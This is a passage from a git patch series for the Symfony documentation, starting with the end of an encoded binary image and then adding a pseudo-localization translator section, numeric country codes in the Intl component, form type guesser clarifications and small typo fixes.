zKTKFb033_KW^NScoF_{x4-sHnhMlDef>~qxui3@M0O-Bu1Irl32JnQz#tJY8w7~$A
zi3kFKC4fsm2>7oUbBn(LL;s3NO8*=1-(r^7{~Znb-_ZaGBwvfq50W=H|Eq0zcz<2*
z+-IM!_NwqT)%VDA>$^Tzc-j^@0>DLh51bQ|^IW3#R&}$KZlZiMcAgZow9UV=-L@Wx
z?LD%!<#Dhb%WgnHcw7mIt>cjh7?ddx0mBEpz317l%@;YQI~m05)HRMHBE_yQvnt)v
z-ds?<Z%r(^3=J)DOzdj!B3zVX^T^7})q=8RBVad~kO&EUz&i%JkBki~TW_tm(FITv
zD=Xcx5KWTH{$<9tL>+d?Gp1}VAmktg2G7c)*wylS<20sPaIRq4ii%Nv&3}=xH*jf2
zDuMs%TUsxyBUYt7GTX~cP}^jCB}D#x-{|PLV7PypWeKuGuG#1^qsG4wd6u~}^`jva
z)!)h{;7XqwD9M$q$50YQie2u(ym{{)6r7Ea2$4Ntm*=1@F*4jH1_*T**!PZy8G`wy
zf3%SiJfhMIUF$z9-n+;$?a10~PFPDGJ0jjoTmEWmKQ*!^&9l(H>CDBY*?5WSuC28d
zl4r(dK^sbBxmg|0_(@nBGAK@p2!C4N08Kx7+A!5QTnF77vRz%zjn(P3*;qwql{|X-
zsII1{!GG#_ky7vMELBpn0b{$XpG-|QEiJ0Md(qC)%Cw2?$iRw*q2lPsZj2mtEemwW
zZ3!sKIh~;qJuY3;@x=eOgtA2%N;JvisXX{1lr@LrZZ(L%K#tqZN>~`?;oLcQ`j|((
z|L4n~fr{?vRfX1tWg#fU{CIb?V%v?E(QC^HyYqWCOt%ohTCAkIM@#FI^NJTQiNW>I
z_a*Ige7w#hzLB7^!<kY(vztWwZf?=I<LI~#X5V#(1~zzoT>v>!NZ|MG&xK;w1??|)
zqUw~O*G@FjgKghz3Eicp3tbgmUfI})mt3b~aA3G|;56f9Gya6)9VjOG=)FXoleI~M
z8QeH)6x?aFEBSN^1|C1f6Ifm@H9Z_1L6`hsa>u%DS8PTRi!=viR!*dU=qgc3JR(rl
zEGy?90d73_=vJ`3QHgfxUs2{Jv?!qc?$s`C{agD2FW8cSLvK*cb+Y(OQUVPRMkO?0
z(1h>rf*r&KCpHuzVEM-vLAI}vsS<JhZnjFiJUBMEfUdK~p9n;bS7CalwXIFttjk}k
z3V!Hf>T>{#3ZU4|om>g0zO*;XNC+J{dRDq@9bKfba;d3N5xu?N?CqJPZT+|<z$EXZ
ztgwq}WWYL4JM1B#qy+-LVv~NO;Cg0E7-4s2s#kFE3eTbx{%YLS?T^$~;<K&3e)lOq
zX*NIBc9Ua+fzRriL(XNo$Bgy5J2lo^2nm;n3VxiTJKf}9&aO6{butMRpGQJgHV+!-
zvebZVxD9A<;O*lr(X_Na)nSk3s0Z#78pK9rPU9z9{UZy8imRGVx;ZM@cM}sGt8YHR
z#nZ{4Rfpb)66o|#E_eG<57Xl^+5Cdaz`2-;M-(H5y`#i3HIwWzHAf-fgbjs{61lgm
zTxwq=aRq>krU&i57%H-jMs@6#YudSajBeNK&rz)(ov$UM3JtPJD@qP#7Mf*Bi>kT)
z<ODz*crjI}c}st};`sO?;fJP1wLFK)t4+MP{{G9|A|rFO^^=(aFl!7X90W?qc!?mh
zFS_ZLb2>Iu?)3}z`(h6f=qGflT<3e#vsNfR#$M6S*G}Ht-%8!^)xS&H+?SIN75Ti0
z<H|eYVj=I6P(!qKvJr8I&7-L_rI5wLzqP>pR_~j<&+#xQIOtkX%|6edG{OOh!i97-
z=&f%0^q>iUv$e$MIL9z2cM?{qEB%O=YCedTiJ9jZ&ONWTR+Q}gt39gHg`Im(w1yfp
zYOsTDDvH(O5WRimICe|jKcP^Hr~BJi^sR0J_9g1}Uo?Bc?72MmI?<&F47{}$J@IXF
zG^wl-2*g3ed&qBn0`h9^Jt$ksLfc~XvBP$~V{k)(t?j9@0DEPdgibkDv3&Fwh7PXe
zvr|W8W?VnneL_XWByEs^M;x3wMMc6fN>op5a$QpYR9zLqWZbR<AC(>z5wv}3`%b2p
z03-Pa)nlz1=~z0EWg&M0b62%x-&?Ffws@@DSn!7G&$_zRvNEWJpzLx$Ab&KcGD{BZ
zF>AJCEW(W+TSWAhm>TBHzOKCxd3<&yn_U{HF~-(J7uT<pXP*7(%FRs`hX2hMICX=n
z1NLh!*yytj-y?ySh7R^NtRRCGeg6Af&r;=4N{dX7*LclLzTW?4{`_0)$c(|k-9FYP
z*~an&GE3q=a@b8oGk95MypW}kYPh<3Us-+aK)cxNIKi($>px1=`@T4A5bGXn+UpF3
zgg{X*n^$=wi3QCl=DmXGbDgz1;+bD4s&Ou!ig`KP^drSEQooeDW^qr2FkR73CP;DN
zNeMt)dkze;u^!Z#(cK@m&9l6*y7>{YV7wl@YD@8U`E~gj8%fu?D}Wpf0vzXJ^jzx&
zo)ujz@gq~FdFt6w*8`6EvyxSpw%I0aoi>9mIdI<F1#WnXT?f=U#wKUJ2LVkIXc^PR
znpE5>rQX=DXpSL%*4->KWkF$A)D#%EMU*oXBR@OnAw5w+{@jVLuGBNu^&(+^!Rw-A
zTz{M>#IUkc7pws#y>@YAyf3stG~&?Pywg7>L+N+W>so>WP4{*`DKaa1qPGkx>}9eo
zkO;wyS%lJj{e86HFsiE+97i^6J%=EZ<snne&njmo&Zl=Zne;lx_8k(nBy|w??xLJ}
zbAGaMXd{|3O;gq=tNKDeA$a*0l6Cxfg4Xb%K#TxM*XOhP;GUFjOi>}NC4&9s_#1c{
z&^VYB;M6-BuxUrjQaTyiRDW*b`bY$-fEUOYJB=X`E;)2YqgWk6ePQMc(Ns^+F8RQ@
z>#vHHG*HN$;@tf^iEAUcUsD9iZ*grpT3ozo&yw+bYqTZmJ<wW(P;6zvd{B2d)8OkB
zVG4g+WA0OI6OoChnc((~Gy6|&1U%11cG~z@9ru}<k}#r%T7+aDt?NQ{hox{VsW&nf
zUCPsVE=MT)Lto8Yy*PYNzq#>P$X(qNNAU;9Z6tGI2=*CqovE3yf|`1f^pY;T-n3YG
z7VvPyGy;lh*jV;HIB)rwkiJ!%pLt<LEvTYW-nTcU{ukT0QP5GVcvS9JyGFauA5}R`
z?-0D9Io->PR;W&0FrXH6M|n6juODywmb}Je!EZ69kU3-L^Y_Oo^~X5D9<gq}>25;6
zHgmFj*B<NDOxrzW2pEis@ktS;dpWnaa`CFh$zb(YGy(&I5!}tPi2LWsih&^qeE_M#
z{PQHhz<~EFz_2j<kb<!YAoBO~UqE%R{`a6n7#Jx%)Rg>|@$-xTEyfLpZq#HJ&LYHc
zG7JnVQ9bg%f9R_xUo3>dfRyXK2sNxc1@N9<zaJ~tFKLxk9FEl0MzI^6MfO%hJ4nu4
z6)-R`8Zp{0b;L>=UTnOj0zN+ijA3v96k|XECj5Y(|9Jnq@PGXDukim(_`fFp4?O=x
z_&<L7I}^Wy{tv=`OXNS``7gr%8)012|DWLh3t{{Q{SWZ}fr<Ywq<<Io|0tvZ`Rm*%
zIX3CN=U9U2$45AI_Q-l%MxBeJS7rPpf^MK(1l2qmxx3(l4ZvMj89*fgcr4e&>$>P-
zK&}z|{ml;vz&*Pza@VE&pWgoM*Z&J7^}{8_wGa3nYYq*h=orT6>ccfub;d>pCI;!1
zSnO*guBlMqy?@2aeVP{MqrrEX0-*_Mc@)3|LE8c}A0^bI2g_OxBjrHoBQZ1_QYHRo
z>+1Z2k&24e^v|ij2ZEyfk9e=S=n33PHPOp(l-D}mo~X%sa~5m#b8N7rZAyouA|~JD
zpn;cn`&|<1u0UWH|G0^T65*_9lUSLr-S9>P5^jcqEU3A14sNZc*+<Icp_g(ONf<-|
zYifW+6Dt#<n@ewBoLij{#~ac?beuw`-L_Zh?^RtLB*BaM9kn#}TfTXp>Tej$E`9NJ
z6mwi!KW3;oJJ0@+z|X}X-lxr)vOrgqRuWtJ`MRwswx8{D>6~T$HvJ>ZfQCD^Zev0N
z_TrEzYKPZO-CXUp*Xq#b9PVYU)&9~Ayw`W_0*<>A5TU7UV_Q$(WFqsYC%RIP+tO;!
z!zVqAEVWS8(MmriE9b<wCt3{dT#(;NIGI~LA8u7Nb>4R+Ea=+l;+_w84By`lSmw0`
z*68gdgw}H<?V@oWuLp$83KML~#7vQ0I5)K#z2021)LfLp9sVAR{!p>w_>t+F+OG`@
z*`1=0y}Or7lhqwZlqup|^7%2NRkFNB&-dNJ-Ma64eynEiLUuEX+HyH>xNPq~3Ws)#
zRURMETsBvdnr7B`F7v<~Us|8~>QzwQj~|b^Yq~JWt{n4`aHP;dJaxiM-;;Z(mpb7)
zUeC`~YyI_^j>7B@B=;nGlS&k-yw`>7X1ZMEI?_s(RcxGx9r#E)pFUDdwaNoVo<3`P
zlw(BLwcRAEv*8JqG#|-y=1^aT2Ni1gL|i=`KjoCU^FH)h<cu78cHKz{AtAIXwYqxi
zrJSaznMOJDJjSvwK&;KCf_%s}1J$qoWVU43A?KUnlSglgN__nyiW4ifi|{Wbe?5S9
z(AEow%1P2@hYO2}IeWf5X-BD5#c=QwOMk%Bx1rsv_4)KsaH;M?#oec`iia9B8b6Sg
zCrmt9k42cs<Q732Wxk(m88oq)%T7Nljp^p*7k-%PlRhv~rmGAK3keB%nXO>xP%GKw
zARm+w<eDqs^`siqobPe>@f%RC>9FuhRItgB3QTWL!Emrm3pN+kv5rS*KjAo`jsKd5
zt0!Lnscl5nYcgR78^rm10)0Ce@qTo8FtzsnCl<B!nL)XZ@~Iz=RFl(_<QIsthJXa+
z=I(}mX+193(O}2;Koi$pH!{1C%ByF+Rr^^b&U(c3#MGnr@kl1$9GnD;6D{6tk-Qjc
zk~Mj>{3DnBsFgA+_|0ADYQy(-i3{c|TV^{FI<S2`_yd)j7K^<I1chS;@=rOIR4_|F
zN99_$4iTm6U495@Xg@Tt+a#?ETaA;h!a4|Cu0N}LoYd0dacaRo0q19&=jauoVZK(l
z=_jK8RHn>DoxAnv^zTBmi_^?Bky1MH5Y#+RstpNsZk91GP66x_E~`0f>k@UeazLz_
zTzKX~lH*RNB;(uiOieExacOk|%r*no6A<kKHpg4BIiW`zhjgSG_=zVg%jY$pGakHJ
zJffFr+&Uu0{psv>4)T>b;jq5Xo!%D;Y6+xkNDp**!I9e_`>edhFMR*j@Ya+mq1^y;
zIN7i~9rZMPJY1=#Nq5DqTvm113BK3ZY$kjP3TP@x;o5oeir{Pe((cWWVR;iGnc~){
z=;<4|i-XSs_1ogM*BFecQoRK&#Jo!Gc**?g4^fc5?+4_6h;3LP8xG&*$NS5d-k?a?
zp_{g1E{SSoiO2<-9}-XHL3?2dLBSrGusB3qeIA)XFcqh6(y@!ni)1dPhQ{*EcGYGR
zY`siF{Mk-V2WEpcI>L5w!T`U`A}Az@+xC@{8DA<pFCiKAO?=a0qQ#!3I}@Iy4otM9
z>bA^6t-O(iy+4y6TTZwN2-G{8HzoMeIc;9Igd(o^B5#KsFpop+dDmtG&EYR0L*|Dm
z$mXN=J5q1j+Y5os06eGZmxAH0RedFJc+edN1_oACOVqF8>=!*>G@ZODug5Fu<U$p4
zs3O{<U>lRHhFc_2b=Y6bs3!|w8y&rD+CSJyVaSu@?<I_Q&wMj%T#}xTt+T+ClDwA_
z+$a5V7ylL^W@yp-2@%1cd>J>wVdOq=r&hj*#~G^}1P&@jheYp!K2$i)U<cZNEkeBH
z+rp@EYpNjEp>(W9d>IK4CR7Y>B%GwnsYyYaiBEX+Ejh)|bFqU-UA<wn&nI$ND`W%q
ze_b66+E^6X^Zy_f3q6r~oU^iU!id@x`!E_;yK4zYoD(+EC+uQoQkW>Sqh0m%eivAL
zk}lOY-#9oNTS&2kQ1{{<{-yQCS_`ZDn<Won>FnnM=VrksxvDTt{}FLB63vE?8w-0T
zqRkH;2r3XC5J+(8O!*ZWSeOq|WPW+yAiWlgaQ9;K&}U4aeK%1~xODGkt~251_6L{w
z8ZeMzU+e0*zGRJZCj{El%NbLaG^r`qdqWx$nq}+s3x_Zbznuj<Pk1ug-`;2`@=$nS
z4E}paCQ<VB-e&@D;F17yt8!$Z3TBl;NsE6H2Pvz$4(JylEnzi{i7Ue7xy4U4Lg^M{
z>tOSWtT1RsEA(;Lxc>tGh!E-hQW2A{0dySTCaSO}91zdK$Dk;k<Q~7O5H1#wbLd;M
zn|ZI{Lh_I7zrx`!KJ1!QdEz&o=r5MzjTmPc-rm$@Wi^TJYN1Zp=Hhe%F#;Nr080tv
zrKrFoLz6|*$gVa&PvNr>IQ{wY!GsU`BCsodoBmp1($+yy^PID)M_=Tj#qoj@@tXGc
z??veFP%|ac?@Zs<<6q+dclvKMs8J-?98h{jxHrxnW;UAb_6J|_`*Y5b^%*am<+(a`
z!}sQMfx_90z7^9NPoYu7!N6`=WY#CwO`A!)NOQqbl@Yu$-T{Z-{j38?;-Qca_DRvX
zBhF>Z3!OunNk~IRbyQ)EU1jT)tF2$7T-pL2ae=Fzy3aaM@CCo9%#D4)&Qchu^y6iI
z@ov=|%dTb)&h2aJJ5*cu-6or}wzU!vQp*oT>3JkbwV($kC`x`$^Hk&A*WLG8_;Qee
zP)Br#zk#Ab!WiBo(ymvOWJxaynnMyg9Y4%5eefYIB$pXV8GKgbq~x|o>Xgx21$Gek
zoefyt+imU5G5?(s8RERuM|Kik?BKqj7meUe&`P%Kly*<x?t#qp+ip?zFI(JC8Yw^^
zU_$16uTiOmmO?c4ic@qCkAlMz6~r;FsnuELuJwuvHuf6O%_mJ$58bp*i*MrMQ|&rQ
z7V9{%keo15^|CC9ye*j^CN)UTnvHmuu6WW`fT>Q?U`0h|b)&m;e*c!LsoHh(8c4h9
z`hkP_qD@yNgJ+Ref|0JEaMbR0`@3*kp{AEd9F5N*qjT4lU5MO(Rz4-{%y?E`3ogJd
zxG=-5RmXBpLvCiF3M&`BZUaF63ZPVlukgLo3%o8nI|%xPRZ>5R&Jz}uN?@{|u=uGT
z-7$mQMfLbt-0$H#XdUOlJL3Xmi04Dky^RrJHC=5O8EQ0^e+uRm6_K{Oa<Is?*vJN^
z(mwFffR#V}oyHiaDs&)P5?_NYEUBU#DeC*mUxRZ1r(yaboodo&5h>StY}N||;%mfj
zqM>^&bN%PtdWh6-Y%MnGXa^5SmC5wwoMoF!5^nVRLob)pwK5lujz&B=HCA&C#*Vxw
zqkhlJjc!n+1Kzc)Ni(A7llpe;WZz%1A1G4-J%v5=9GUZQ0P_6R_|Y6?d%WE;%#0+J
z_AWHIcrL|19@_Ew#HZI#Lftu4UG02&$nF!Gj^y4O8#=1r=%C;&`|VHpEJamihez46
zr>-DyUvJgApGsFG+U_{b1u+L=U3T(_L-=NW@%7twa`$8#R-U}l&y!q>B%739q!M^e
z6!HG+?o%C~#rfRRjZ3MYFg&;sbvgwV^8+Wq$_lu>ofdhC%brN1jTJgZF%l7ZpwTHm
zJ~||h(*N#ywz<s9Z)*U7MnsF-O~=Ha_2zWTrA;LET)q{=kR2WH^>pMoH1$%0T@oq0
z_hHULNM?7NOD9mbF-~7qnV6Q+{OTLN0-EIli<rDlEl%FHgPtF6ZAo%G*ob?(G!uj7
z%n6gDg(lt{+_}X`;QhL+jGcP<Vp1$6Y~PV1s2@xG9#snwh6!prc)!r&RQg&4%`W7i
z^`h@S$p{;BhCc?0Y>9b<d5^f}6XCMw7WesjU9IuPbjU#<Ch-G3Eg4w2uO2f+T5YfU
z9-}+E@krh_+?6Q%^{xZAK5;502H~CMyD{o@yi2amaMiDdJ<n3oy0oO$yRxCb{gdw)
zQ)YRwt|r}McyGVQKyG@Y6SrKdn9WHr`yQ+Lt>66^XveoGIJ|OD!U9=?>`IOb=Pad#
z=#W=_9ZKEggbRbgb>M57rFI;f8xi<lW?lo(=h7hsyXYW_NjgYmGCQ~`HiSe;Mw&a4
zlwVZvA-z!lN<->H%?7Ee#T`<A^DKRZ;wR}ebj!W&wWJ<jaC38*$9bn}NYd(5em7Df
za?YwSva%3N+6$^yu^L#P!^^5ANJn24T3F<vyrUkgC>gNUz}?L@WkuHW$kmnHFrv}y
zPG>58om_xorZ_<^GO}V5=*<fXQ{IqERp4P*+xZ#LgIpju-N#e-2K{4>v=V}LP<L{z
z@X#hWOy)f2SR0e;xD~4=SZrmG2ZHtj*?UL+ZB-&i3__dP6k{$Hv*O-UP-Q&ssEryQ
zd+1kSWe%w%hpZ9zeJ=3tEJRjufUTm9?j-a9<B=(k{7CU(8Q7fRhcAJlQq9n+i}oUH
zuwDrqSWoDjHG*2rFu~nt7fEiv7g)l@!1P25QbqN<w1&V1yj4_<+*1mYkj=m1q^B(f
zc5kyolzHluL?ARe-ayB3g(-}TU!U9HGm_%EJjLW>A+ZGxZX@KfX5nO9Ad_fJ{%8p7
zsn5kbnYMIF=qFK#3E4)NT!(3{*X}!Mycea&TqIKJMpRc1)6>w*1&$9<Vn!)O&n)L?
zI`xa|IR9cNi34nDam#cMUYx}Uwk$CC_C}<Y{e9YF#Rdp1q)lc>6R}Xga!1T;G&KL~
zvrNXYSSr@V!!r{6&%kK&ePRCGd{}wc_r^Wmf||bxToek$qL2(2#H5nOrt@&IPL>8~
zN-;))fCfO=M4cbPU3;aXXw?x%!Z4~_Kz_p_1X4ei_lHNI?Qi<HHt#EB*IHHjV^#Q@
z05z%hFYc}g7I?O5pkT>awbx~ZE8S+RM7j1;Fxlh1gFnLL0M`k$KbUxtH>-L<!JV0l
z8{9$9nh7WWeEM61rGD5zew)TYpudPDRsExZAt4-p<RB&W4+u1HR?RbD(2v2ma<%S;
z?avO_B2=!e6^Ls?#cwbB+B|VRrvD$q{}K7G@c%{lzb4`riLps_Ql~MmsRB@f0g+ac
JDv&Vt|9|91#q|IH

literal 0
HcmV?d00001

diff --git a/translation.rst b/translation.rst
index 1d23f9171a9..6ea797c27f9 100644
--- a/translation.rst
+++ b/translation.rst
@@ -828,7 +828,7 @@ A better policy is to include the locale in the URL using the
             {
             }
         }
-        
+
     .. code-block:: php-attributes
 
         // src/Controller/ContactController.php
@@ -1289,6 +1289,136 @@ adapted to the format required by GitHub, but you can force that format too:
 
         The ``yaml-lint`` binary was introduced in Symfony 5.1.
 
+Pseudo-localization translator
+------------------------------
+
+.. versionadded:: 5.2
+
+    The pseudolocalization translator was introduced in Symfony 5.2.
+
+.. note::
+
+    The pseudolocalization translator is meant to be used for development only.
+
+The following image shows the main menu of the interface of a popular Internet
+service:
+
+.. image:: /_images/translation/pseudolocalization-interface-original.png
+
+This other image shows the same menu when the user switches the language to
+Spanish. Unexpectedly, some text is cut and other contents are so long that
+they overflow and you can't see them:
+
+.. image:: /_images/translation/pseudolocalization-interface-translated.png
+
+These kind of errors are very common, because different languages can be longer
+or shorter than the original application language. Another common issue is to
+only check if the application works when using basic accented letters, instead
+of checking for more complex characters such as the ones found in Polish,
+Czech, etc.
+
+These problems can be solved with `pseudolocalization`_, a software testing method
+used for testing internationalization. In this method, instead of translating
+the text of the software into a foreign language, the textual elements of an
+application are replaced with an altered version of the original language.
+
+For example, ``Account Settings`` is *translated* as ``[!!! Àççôûñţ
+Šéţţîñĝš !!!]``. First, the original text is expanded in length with characters
+like ``[!!! !!!]`` to test the application when using languages more verbose
+than the original one. This solves the first problem.
+
+In addition, the original characters are replaced by similar but accented
+characters. This makes the text highly readable, while allowing to test the
+application with all kinds of accented and special characters. This solves the
+second problem.
+
+Full support for pseudolocalization was added to help you debug
+internationalization issues in your applications. You can enable and configure
+it in the translator configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            translator:
+                pseudo_localization:
+                    # replace characters by their accented version
+                    accents: true
+                    # wrap strings with brackets
+                    brackets: true
+                    # controls how many extra characters are added to make text longer
+                    expansion_factor: 1.4
+                    # maintain the original HTML tags of the translated contents
+                    parse_html: true
+                    # also translate the contents of these HTML attributes
+                    localizable_html_attributes: ['title']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:translator>
+                    <!-- accents: replace characters by their accented version -->
+                    <!-- brackets: wrap strings with brackets -->
+                    <!-- expansion_factor: controls how many extra characters are added to make text longer -->
+                    <!-- parse_html: maintain the original HTML tags of the translated contents -->
+                    <framework:pseudo-localization
+                        accents="true"
+                        brackets="true"
+                        expansion_factor="1.4"
+                        parse_html="true"
+                    >
+                        <!-- also translate the contents of these HTML attributes -->
+                        <framework:localizable-html-attribute>title</framework:localizable-html-attribute>
+                    </framework:pseudo-localization>
+                </framework:translator>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/translation.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework
+                ->translator()
+                    ->pseudoLocalization()
+                        // replace characters by their accented version
+                        ->accents(true)
+                        // wrap strings with brackets
+                        ->brackets(true)
+                        // controls how many extra characters are added to make text longer
+                        ->expansionFactor(1.4)
+                        // maintain the original HTML tags of the translated contents
+                        ->parseHtml(true)
+                        // also translate the contents of these HTML attributes
+                        ->localizableHtmlAttributes(['title'])
+            ;
+        };
+
+That's all. The application will now start displaying those strange, but
+readable, contents to help you internationalize it. See for example the
+difference in the `Symfony Demo`_ application. This is the original page:
+
+.. image:: /_images/translation/pseudolocalization-symfony-demo-disabled.png
+
+And this is the same page with pseudolocalization enabled:
+
+.. image:: /_images/translation/pseudolocalization-symfony-demo-enabled.png
+
 Summary
 -------
 
@@ -1322,3 +1452,5 @@ Learn more
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
+.. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization
+.. _`Symfony Demo`: https://github.com/symfony/demo

From 900bfa7b0c500b05c58f0663a108ed49357dd242 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 25 Jul 2023 12:47:42 +0200
Subject: [PATCH 4915/7107] Remove obsolete versionadded directive

---
 translation.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 2e15f6280bf..0b8f001a2cd 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1315,10 +1315,6 @@ adapted to the format required by GitHub, but you can force that format too:
 Pseudo-localization translator
 ------------------------------
 
-.. versionadded:: 5.2
-
-    The pseudolocalization translator was introduced in Symfony 5.2.
-
 .. note::
 
     The pseudolocalization translator is meant to be used for development only.

From 705cf3f6be4d3680b0400a66aecd9f467dddbd30 Mon Sep 17 00:00:00 2001
From: John Bafford <john@bafford.com>
Date: Tue, 25 Jul 2023 15:14:55 -0400
Subject: [PATCH 4916/7107] [Mailer] Fix typo

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 63a91977c2e..31d7ccb0236 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1422,7 +1422,7 @@ disable asynchronous delivery.
     method was made public in Symfony 6.1.
 
 You can also select the transport by adding an ``X-Bus-Transport`` header (which
-will be remove automatically from the final message)::
+will be removed automatically from the final message)::
 
     // Use the bus transport "app.another_bus":
     $email->getHeaders()->addTextHeader('X-Bus-Transport', 'app.another_bus');

From a9da7e05b4b1f06423791537346c0c33101c464d Mon Sep 17 00:00:00 2001
From: Ben Roberts <ben@headsnet.com>
Date: Tue, 25 Jul 2023 18:36:52 +0200
Subject: [PATCH 4917/7107] Document support for ISO 3166-1 numeric codes

To accompany PR https://github.com/symfony/symfony/pull/51073
---
 components/intl.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/components/intl.rst b/components/intl.rst
index 5ec6c4b7011..7983efb5eeb 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -179,6 +179,33 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes::
 
     $alpha2Code = Countries::getAlpha2Code($alpha3Code);
 
+Numeric Country Codes
+~~~~~~~~~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\Intl\\Countries` class also provides access to the
+numeric country codes according to the `ISO 3166-1 numeric`_ list::
+
+    use Symfony\Component\Intl\Countries;
+
+    \Locale::setDefault('en');
+
+    $numericCodes = Countries::getNumericCodes();
+    // ('alpha2Code' => 'numericCode')
+    // => ['AA' => '958', 'AD' => '020', ...]
+
+    $numericCode = Countries::getNumericCode('FR');
+    // => '250'
+
+    $alpha2 = Countries::getAlpha2FromNumeric('250');
+    // => 'FR'
+
+    $exists = Countries::numericCodeExists('250');
+    // => true
+
+.. versionadded:: 6.4
+
+    The support for numeric country codes was introduced in Symfony 6.4.
+
 Locales
 ~~~~~~~
 
@@ -435,6 +462,7 @@ Learn more
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2
 .. _`ISO 3166-1 alpha-3`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3
+.. _`ISO 3166-1 numeric`: https://en.wikipedia.org/wiki/ISO_3166-1_numeric
 .. _`UTC/GMT time offsets`: https://en.wikipedia.org/wiki/List_of_UTC_time_offsets
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1

From 45b56c4511da25d3d9a22e306402f9e111119d5b Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Wed, 26 Jul 2023 11:00:43 +0200
Subject: [PATCH 4918/7107] [Form] Improve form type guessers section

---
 form/type_guesser.rst | 23 +++++++++++++++++------
 1 file changed, 17 insertions(+), 6 deletions(-)

diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index f89808d5e08..29c9cea0e21 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -13,6 +13,17 @@ type guessers.
     * :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmTypeGuesser`
       provided by the Doctrine bridge.
 
+Guessers are used only in the following cases:
+
+* Using
+  :method:`Symfony\\Component\\Form\\FormFactoryInterface::createForProperty`
+  or
+  :method:`Symfony\\Component\\Form\\FormFactoryInterface::createBuilderForProperty`;
+* Calling :method:`Symfony\\Component\\Form\\FormInterface::add` or
+  :method:`Symfony\\Component\\Form\\FormBuilderInterface::create` or
+  :method:`Symfony\\Component\\Form\\FormBuilderInterface::add` without an
+  explicit type, in a context where the parent form has defined a data class.
+
 Create a PHPDoc Type Guesser
 ----------------------------
 
@@ -70,7 +81,7 @@ The ``TypeGuess`` constructor requires three options:
 
 * The type name (one of the :doc:`form types </reference/forms/types>`);
 * Additional options (for instance, when the type is ``entity``, you also
-  want to set the ``class`` option). If no types are guessed, this should be
+  want to set the ``class`` option). If no options are guessed, this should be
   set to an empty array;
 * The confidence that the guessed type is correct. This can be one of the
   constants of the :class:`Symfony\\Component\\Form\\Guess\\Guess` class:
@@ -162,11 +173,11 @@ set.
 
 .. caution::
 
-    You should be very careful using the ``guessPattern()`` method. When the
-    type is a float, you cannot use it to determine a min or max value of the
-    float (e.g. you want a float to be greater than ``5``, ``4.512313`` is not valid
-    but ``length(4.512314) > length(5)`` is, so the pattern will succeed). In
-    this case, the value should be set to ``null`` with a ``MEDIUM_CONFIDENCE``.
+    You should be very careful using the ``guessMaxLength()`` method. When the
+    type is a float, you cannot determine a length (e.g. you want a float to be
+    less than ``5``, ``5.512313`` is not valid but
+    ``length(5.512314) > length(5)`` is, so the pattern will succeed). In this
+    case, the value should be set to ``null`` with a ``MEDIUM_CONFIDENCE``.
 
 Registering a Type Guesser
 --------------------------

From 5190cbbe8d6804b98e653c3ffd98b68334721567 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 27 Jul 2023 10:11:39 +0200
Subject: [PATCH 4919/7107] [FrameworkBundle] Add note for `prefix_seed` about
 container compilation

---
 reference/configuration/framework.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ebd09140aee..e3b37df3f13 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3184,6 +3184,12 @@ It's also useful when using `blue/green deployment`_ strategies and more
 generally, when you need to abstract out the actual deployment directory (for
 example, when warming caches offline).
 
+.. note::
+
+    The ``prefix_seed`` option is used at compile time. This means
+    that any change made to this value after container's compilation
+    will have no effect.
+
 .. versionadded:: 5.2
 
     Starting from Symfony 5.2, the ``%kernel.container_class%`` parameter is no

From 66a7330e9bd94611442d531deb4b958faf4b298e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 27 Jul 2023 13:14:27 +0200
Subject: [PATCH 4920/7107] [SecurityBundle] Allow an array of pattern in
 firewall configuration

---
 security.rst | 49 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)

diff --git a/security.rst b/security.rst
index eb60ec0d1cf..4a1bfd260c8 100644
--- a/security.rst
+++ b/security.rst
@@ -561,6 +561,55 @@ The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like
 ``/_profiler`` and ``/_wdt``.
